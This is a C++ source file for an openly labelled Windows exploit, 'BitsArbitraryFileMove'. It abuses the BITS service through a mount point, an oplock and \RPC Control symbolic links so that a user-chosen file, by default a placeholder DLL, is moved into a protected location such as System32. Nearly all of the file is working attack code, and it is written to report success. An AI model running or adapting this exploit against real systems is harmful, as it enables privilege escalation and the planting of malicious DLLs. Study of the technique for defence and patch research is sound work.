563 lines
18 KiB
C++
563 lines
18 KiB
C++
// Windows
|
|
#include <iostream>
|
|
|
|
// BitsArbitraryFileMove
|
|
#include "BitsArbitraryFileMove.h"
|
|
#include "CBitsCom.h"
|
|
|
|
// Symbolic link testing tools
|
|
#include "..\CommonUtils\CommonUtils.h"
|
|
#include "..\CommonUtils\ReparsePoint.h"
|
|
#include "..\CommonUtils\FileOpLock.h"
|
|
#include "..\CommonUtils\FileSymlink.h"
|
|
|
|
BitsArbitraryFileMove::BitsArbitraryFileMove()
|
|
{
|
|
m_bCustomSourceFile = FALSE;
|
|
ZeroMemory(m_wszWorkspaceDirPath, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(m_wszMountpointDirPath, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(m_wszBaitDirPath, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(m_wszSourceFilePath, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(m_wszTargetFilePath, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(m_wszBitsLocalFileName, MAX_FILENAME * sizeof(WCHAR));
|
|
ZeroMemory(m_wszBitsTempFileName, MAX_FILENAME * sizeof(WCHAR));
|
|
ZeroMemory(m_wszBitsTempFilePath, MAX_PATH * sizeof(WCHAR));
|
|
}
|
|
|
|
BitsArbitraryFileMove::~BitsArbitraryFileMove()
|
|
{
|
|
CleanUp();
|
|
}
|
|
|
|
BOOL BitsArbitraryFileMove::Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile)
|
|
{
|
|
WCHAR wszMsg[MAX_MSG];
|
|
|
|
// ========================================================================
|
|
// Check whether target file already exists
|
|
// ========================================================================
|
|
StringCchCat(m_wszTargetFilePath, MAX_PATH, pwszDstFile);
|
|
|
|
if (TargetFileExists())
|
|
{
|
|
wprintf_s(L"[-] Target file '%ls' already exists. Aborting.\n", m_wszTargetFilePath);
|
|
return FALSE;
|
|
}
|
|
|
|
|
|
// ========================================================================
|
|
// Prepare environment
|
|
// ========================================================================
|
|
if (!PrepareWorkspace())
|
|
{
|
|
wprintf_s(L"[-] BitsArbitraryFileMove::PrepareWorkspace() failed.\n");
|
|
return FALSE;
|
|
}
|
|
|
|
wprintf_s(L"[*] Workspace: '%ls'.\n", m_wszWorkspaceDirPath);
|
|
|
|
|
|
// ========================================================================
|
|
// Handle source file
|
|
// If a source file path is provided, set it as the source file path for
|
|
// the exploit. Otherwise, write embedded DLL in the workspace.
|
|
// ========================================================================
|
|
if (pwszSrcFile == NULL)
|
|
{
|
|
swprintf_s(m_wszSourceFilePath, MAX_PATH, L"%ls%ls", m_wszWorkspaceDirPath, L"FakeDll.dll");
|
|
|
|
if (WriteSourceFile())
|
|
{
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Created 64-bit DLL '%ls'.\n", m_wszSourceFilePath); }
|
|
}
|
|
else
|
|
{
|
|
wprintf_s(L"[-] BitsArbitraryFileMove::WriteEmbeddedDll() failed.\n");
|
|
return FALSE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
m_bCustomSourceFile = TRUE;
|
|
StringCchCat(m_wszSourceFilePath, MAX_PATH, pwszSrcFile);
|
|
}
|
|
|
|
wprintf_s(L"[*] Source file: '%ls'.\n", m_wszSourceFilePath);
|
|
wprintf_s(L"[*] Destination file: '%ls'.\n", m_wszTargetFilePath);
|
|
|
|
|
|
// ========================================================================
|
|
// Create a mountpoint from MountPointDir to BaitDir
|
|
// ========================================================================
|
|
if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, m_wszBaitDirPath, L""))
|
|
{
|
|
wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError());
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] Created Mount Point: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, m_wszBaitDirPath);
|
|
|
|
|
|
// ========================================================================
|
|
// BITS - Create Group, create a Job and add file
|
|
// ========================================================================
|
|
CBitsCom cBitsCom;
|
|
WCHAR wszJobLocalFilename[MAX_PATH];
|
|
|
|
StringCchCat(m_wszBitsLocalFileName, MAX_FILENAME, L"test.txt");
|
|
|
|
ZeroMemory(wszJobLocalFilename, MAX_PATH * sizeof(WCHAR));
|
|
swprintf_s(wszJobLocalFilename, MAX_PATH, L"%ls%ls", m_wszMountpointDirPath, m_wszBitsLocalFileName);
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Using Local File '%ls'\n", wszJobLocalFilename); }
|
|
|
|
if (cBitsCom.PrepareJob(wszJobLocalFilename) != BITSCOM_ERR_SUCCESS)
|
|
{
|
|
wprintf_s(L"[-] CBitsCom::PrepareJob('%ls') failed.\n", wszJobLocalFilename);
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] Created BITS job with local file: '%ls'.\n", wszJobLocalFilename);
|
|
|
|
|
|
// ========================================================================
|
|
// Find the TMP file created by BITS
|
|
// ========================================================================
|
|
Sleep(3000);
|
|
|
|
if (!FindBitsTempFile())
|
|
{
|
|
wprintf_s(L"[-] BitsArbitraryFileMove::FindBitsTempFile() failed.\n");
|
|
return FALSE;
|
|
}
|
|
ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR));
|
|
swprintf_s(wszMsg, MAX_MSG, L"[+] Found BITS temp file: '%ls'\n", m_wszBitsTempFileName);
|
|
PrintSuccess(wszMsg);
|
|
|
|
|
|
// ========================================================================
|
|
// Reconstruct the full path of the TMP file
|
|
// ========================================================================
|
|
int result = swprintf_s(m_wszBitsTempFilePath, MAX_PATH, L"%ls%ls", m_wszBaitDirPath, m_wszBitsTempFileName);
|
|
if (result == -1)
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] BITS temp file path: '%ls'\n", m_wszBitsTempFilePath); }
|
|
|
|
|
|
// ========================================================================
|
|
// Set an oplcok on the temp file
|
|
// ========================================================================
|
|
FileOpLock* oplock = nullptr;
|
|
|
|
//oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", HandleOplock);
|
|
oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", nullptr);
|
|
if (oplock == nullptr)
|
|
{
|
|
wprintf_s(L"[-] FileOpLock::CreateLock('%ls') failed.\n", m_wszBitsTempFilePath);
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] OpLock set on '%ls'.\n", m_wszBitsTempFilePath);
|
|
|
|
|
|
// ========================================================================
|
|
// Resume BITS job and wait for the oplock to be triggered
|
|
// ========================================================================
|
|
if (cBitsCom.ResumeJob() != BITSCOM_ERR_SUCCESS)
|
|
{
|
|
wprintf_s(L"[-] BitsCom::ResumeJob() failed.\n");
|
|
delete oplock;
|
|
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] BITS job has been resumed. Waiting for the oplock to be triggered...\n");
|
|
|
|
oplock->WaitForLock(INFINITE);
|
|
|
|
PrintSuccess(L"[+] OpLock triggered. Switching mountpoint.\n");
|
|
|
|
|
|
// ========================================================================
|
|
// Create Mount Point to \RPC Control
|
|
// ========================================================================
|
|
// --- Delete previous mount point ---
|
|
if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath))
|
|
{
|
|
wprintf_s(L"[-] ReparsePoint::DeleteMountPoint('%ls') failed (Error: %ls).\n", m_wszMountpointDirPath, GetErrorMessage().c_str());
|
|
delete oplock;
|
|
return FALSE;
|
|
}
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted mountpoint: '%ls'.\n", m_wszMountpointDirPath); }
|
|
|
|
// --- Create mountpoint to \RPC Control ---
|
|
const WCHAR* wszBaseObjDir = L"\\RPC Control";
|
|
|
|
if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, wszBaseObjDir, L""))
|
|
{
|
|
wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError());
|
|
delete oplock;
|
|
return FALSE;
|
|
}
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Created mountpoint: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, wszBaseObjDir); }
|
|
|
|
// ========================================================================
|
|
// Create symlinks
|
|
// ========================================================================
|
|
WCHAR wszLinkName[MAX_PATH];
|
|
WCHAR wszLinkTarget[MAX_PATH];
|
|
|
|
// --- TMP file -> source DLL ---
|
|
ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR));
|
|
|
|
swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsTempFileName); // -> '\RPC Control\BIT84A4.tmp'
|
|
swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszSourceFilePath); // -> '\??\C:\Users\lab-user\AppData\Local\Temp\workspace\FakeDll.dll'
|
|
|
|
HANDLE hSymlinkSource = CreateSymlink(nullptr, wszLinkName, wszLinkTarget);
|
|
if (hSymlinkSource == nullptr)
|
|
{
|
|
wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName);
|
|
delete oplock;
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget);
|
|
|
|
// --- Local file -> target DLL ---
|
|
ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR));
|
|
ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR));
|
|
|
|
swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsLocalFileName); // -> '\RPC Control\test.txt'
|
|
swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszTargetFilePath); // -> '\??\C:\Windows\System32\FakeDll.dll'
|
|
|
|
HANDLE hSymlinkDestination = CreateSymlink(nullptr, wszLinkName, wszLinkTarget);
|
|
if (hSymlinkDestination == nullptr)
|
|
{
|
|
wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName);
|
|
CloseHandle(hSymlinkSource);
|
|
delete oplock;
|
|
return FALSE;
|
|
}
|
|
wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget);
|
|
|
|
|
|
// ========================================================================
|
|
// Release oplock and complete job
|
|
// ========================================================================
|
|
wprintf_s(L"[*] Releasing OpLock and waiting for the job to complete...\n");
|
|
|
|
delete oplock;
|
|
|
|
if (cBitsCom.CompleteJob() != BITSCOM_ERR_SUCCESS)
|
|
{
|
|
wprintf_s(L"[-] BitsCom::CompleteJob() failed.\n");
|
|
CloseHandle(hSymlinkSource);
|
|
CloseHandle(hSymlinkDestination);
|
|
return FALSE;
|
|
}
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] CBitsCom::CompleteJob() OK\n"); }
|
|
|
|
CloseHandle(hSymlinkSource);
|
|
CloseHandle(hSymlinkDestination);
|
|
|
|
|
|
// ========================================================================
|
|
// Check whether target DLL exists
|
|
// ========================================================================
|
|
if (!TargetFileExists())
|
|
{
|
|
wprintf_s(L"[-] Target file '%ls' doesn't exist. Exploit failed.", m_wszTargetFilePath);
|
|
return FALSE;
|
|
}
|
|
|
|
ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR));
|
|
swprintf_s(wszMsg, MAX_MSG, L"[+] Found target file '%ls'. Exploit successfull!\n", m_wszTargetFilePath);
|
|
PrintSuccess(wszMsg);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BitsArbitraryFileMove::PrepareWorkspace()
|
|
{
|
|
/*
|
|
0) Prepare workspace
|
|
Create C:\workspace\
|
|
Create C:\workspace\mountpoint\
|
|
Create C:\workspace\bait\
|
|
<DIR> C:\workspace
|
|
|__ <DIR> mountpoint
|
|
|__ <DIR> redir
|
|
*/
|
|
|
|
DWORD dwRet = 0;
|
|
WCHAR wszTempPathBuffer[MAX_PATH];
|
|
|
|
|
|
// ========================================================================
|
|
// Create a workspace
|
|
// ========================================================================
|
|
dwRet = GetTempPath(MAX_PATH, wszTempPathBuffer);
|
|
if (dwRet > MAX_PATH || (dwRet == 0))
|
|
{
|
|
wprintf_s(L"[-] GetTempPath() failed (Err: %d).\n", GetLastError());
|
|
|
|
ZeroMemory(wszTempPathBuffer, MAX_PATH);
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, L"C:\\workspace\\");
|
|
}
|
|
else
|
|
{
|
|
if (wszTempPathBuffer[wcslen(wszTempPathBuffer) - 1] != '\\')
|
|
{
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, L"\\");
|
|
}
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, L"workspace\\");
|
|
}
|
|
|
|
if (!CreateDirectory(wszTempPathBuffer, nullptr))
|
|
{
|
|
dwRet = GetLastError();
|
|
if (dwRet == ERROR_ALREADY_EXISTS)
|
|
{
|
|
wprintf_s(L"[!] The directory '%ls' already exists.\n", wszTempPathBuffer);
|
|
}
|
|
else
|
|
{
|
|
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, dwRet);
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
StringCchCat(m_wszWorkspaceDirPath, MAX_PATH, wszTempPathBuffer);
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Using Workspace Directory '%ls'.\n", m_wszWorkspaceDirPath); }
|
|
|
|
|
|
// ========================================================================
|
|
// Create a directory for the mount point
|
|
// ========================================================================
|
|
ZeroMemory(wszTempPathBuffer, MAX_PATH);
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath);
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, L"mountpoint\\");
|
|
|
|
if (!CreateDirectory(wszTempPathBuffer, nullptr))
|
|
{
|
|
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
StringCchCat(m_wszMountpointDirPath, MAX_PATH, wszTempPathBuffer);
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Using Mount Point Directory '%ls'.\n", m_wszMountpointDirPath); }
|
|
|
|
|
|
// ========================================================================
|
|
// Create a "bait" directory for the TMP file
|
|
// ========================================================================
|
|
ZeroMemory(wszTempPathBuffer, MAX_PATH);
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath);
|
|
StringCchCat(wszTempPathBuffer, MAX_PATH, L"bait\\");
|
|
|
|
if (!CreateDirectory(wszTempPathBuffer, nullptr))
|
|
{
|
|
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError());
|
|
return FALSE;
|
|
}
|
|
StringCchCat(m_wszBaitDirPath, MAX_PATH, wszTempPathBuffer);
|
|
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Using Bait Directory '%ls'.\n", m_wszBaitDirPath); }
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BitsArbitraryFileMove::WriteSourceFile()
|
|
{
|
|
HANDLE hFile;
|
|
BOOL bErrorFlag = FALSE;
|
|
const char* fileContent = "foo123\r\n";
|
|
DWORD dwBytesToWrite = (DWORD)strlen(fileContent);
|
|
DWORD dwBytesWritten = 0;
|
|
|
|
hFile = CreateFile(m_wszSourceFilePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
{
|
|
wprintf_s(L"[-] CreateFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
bErrorFlag = WriteFile(hFile, fileContent, dwBytesToWrite, &dwBytesWritten, NULL);
|
|
if (FALSE == bErrorFlag)
|
|
{
|
|
wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
|
|
return FALSE;
|
|
}
|
|
else
|
|
{
|
|
if (dwBytesWritten != dwBytesToWrite)
|
|
{
|
|
wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hFile);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BitsArbitraryFileMove::FindBitsTempFile()
|
|
{
|
|
WIN32_FIND_DATA structWin32FindData;
|
|
WCHAR wszSearchPath[MAX_PATH];
|
|
HANDLE hRes;
|
|
|
|
ZeroMemory(wszSearchPath, MAX_PATH * sizeof(WCHAR));
|
|
StringCchCat(wszSearchPath, MAX_PATH, m_wszBaitDirPath);
|
|
StringCchCat(wszSearchPath, MAX_PATH, L"BIT*.tmp");
|
|
|
|
hRes = FindFirstFile(wszSearchPath, &structWin32FindData);
|
|
if (hRes == INVALID_HANDLE_VALUE)
|
|
{
|
|
wprintf_s(L"[-] FindFirstFile('%ls') failed (Err: %d).\n", wszSearchPath, GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
StringCchCat(m_wszBitsTempFileName, MAX_FILENAME, structWin32FindData.cFileName);
|
|
|
|
FindClose(hRes); // This was incorrectly CloseHandle() before which is not the right call to make to close this handle.
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BitsArbitraryFileMove::TargetFileExists()
|
|
{
|
|
HANDLE hProcess;
|
|
BOOL bWow64Process;
|
|
PVOID pOldValue = nullptr;
|
|
BOOL bRes = FALSE;
|
|
|
|
hProcess = GetCurrentProcess();
|
|
|
|
if (!IsWow64Process(hProcess, &bWow64Process))
|
|
{
|
|
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
|
|
}
|
|
|
|
if (bWow64Process)
|
|
{
|
|
// Disable WOW64 file system redirector
|
|
if (!Wow64DisableWow64FsRedirection(&pOldValue))
|
|
{
|
|
wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
|
|
}
|
|
}
|
|
|
|
// Check whether target file exists
|
|
if (GetFileAttributes(m_wszTargetFilePath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Found target file '%ls'.\n", m_wszTargetFilePath); }
|
|
bRes = TRUE;
|
|
}
|
|
else
|
|
{
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Target file '%ls' doesn't exist.\n", m_wszTargetFilePath); }
|
|
}
|
|
|
|
if (bWow64Process)
|
|
{
|
|
// Enable WOW64 file system redirector
|
|
if (!Wow64RevertWow64FsRedirection(pOldValue))
|
|
{
|
|
wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcess);
|
|
|
|
return bRes;
|
|
}
|
|
|
|
void BitsArbitraryFileMove::CleanUp()
|
|
{
|
|
wprintf_s(L"[*] Performing clean-up...\n");
|
|
|
|
// Delete BITS temp file
|
|
if (wcslen(m_wszBitsTempFilePath) > 0)
|
|
{
|
|
if (GetFileAttributes(m_wszBitsTempFilePath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
if (!DeleteFile(m_wszBitsTempFilePath))
|
|
wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszBitsTempFilePath, GetLastError());
|
|
else
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszBitsTempFilePath); }
|
|
}
|
|
}
|
|
|
|
// Delete the source file if it was created by us
|
|
if (!m_bCustomSourceFile)
|
|
{
|
|
if (GetFileAttributes(m_wszSourceFilePath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
if (!DeleteFile(m_wszSourceFilePath))
|
|
wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
|
|
else
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszSourceFilePath); }
|
|
}
|
|
}
|
|
|
|
// Remove mount point directory
|
|
if (wcslen(m_wszMountpointDirPath) > 0)
|
|
{
|
|
if (GetFileAttributes(m_wszMountpointDirPath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
// Delete Mount Point
|
|
if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath))
|
|
wprintf_s(L"[!] ReparsePoint::DeleteMountPoint('%ls') failed.\n", m_wszMountpointDirPath);
|
|
else
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted Mount Point '%ls'.\n", m_wszMountpointDirPath); }
|
|
|
|
// Remove directory
|
|
if (!RemoveDirectory(m_wszMountpointDirPath))
|
|
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, GetLastError());
|
|
else
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszMountpointDirPath); }
|
|
}
|
|
}
|
|
|
|
// Remove bait directory
|
|
if (wcslen(m_wszBaitDirPath) > 0)
|
|
{
|
|
if (GetFileAttributes(m_wszBaitDirPath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
if (!RemoveDirectory(m_wszBaitDirPath)) {
|
|
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszBaitDirPath, GetLastError());
|
|
}
|
|
else {
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszBaitDirPath); }
|
|
}
|
|
}
|
|
}
|
|
|
|
// Remove workspace directory
|
|
if (wcslen(m_wszWorkspaceDirPath) > 0)
|
|
{
|
|
if (GetFileAttributes(m_wszWorkspaceDirPath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
if (!RemoveDirectory(m_wszWorkspaceDirPath)) {
|
|
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszWorkspaceDirPath, GetLastError());
|
|
}
|
|
else {
|
|
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszWorkspaceDirPath); }
|
|
}
|
|
}
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
void BitsArbitraryFileMove::PrintSuccess(LPCWSTR pwszMsg)
|
|
{
|
|
HANDLE hConsole;
|
|
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
|
wprintf_s(L"%ls", pwszMsg);
|
|
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_RED);
|
|
}
|